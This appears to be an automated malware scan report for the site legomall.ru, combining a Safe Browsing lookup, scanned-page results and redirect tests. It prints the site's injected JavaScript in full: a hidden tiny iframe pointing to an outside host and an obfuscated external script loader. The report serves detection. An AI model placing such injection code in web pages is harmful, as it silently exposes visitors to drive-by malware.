Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=legomall.ru
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
| Request | Server response | Status |
http://www.legomall.ru/ | 200 OK Content-Length: 3547 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) (function(){ var a = document.createElement('iframe'); a.src = 'http://zymase.org/index.php?r=9bb1291'; a.style.position = 'absolute'; a.style.border = '0'; a.style.height = '2px'; a.style.width = '2px'; a.style.left = '1px'; a.style.top = '1px'; if(!document.getElementById('mira')) { document.write('<div id=\'mira\'></div>'); document.getElementById('mira').appendChild(a); }})();
document.write("<scr"+"ipt src='/valencia.js'><"+"/script>"); Antivirus reports:
| ||
http://statforme.dynalias.net/googlestat.php | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://statforme.dynalias.net/test404page.js | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: legomall.ru
Result:
GET / HTTP/1.1
Host: legomall.ru
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: legomall.ru
Referer: http://www.google.com/search?q=legomall.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: legomall.ru
Referer: http://www.google.com/search?q=legomall.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.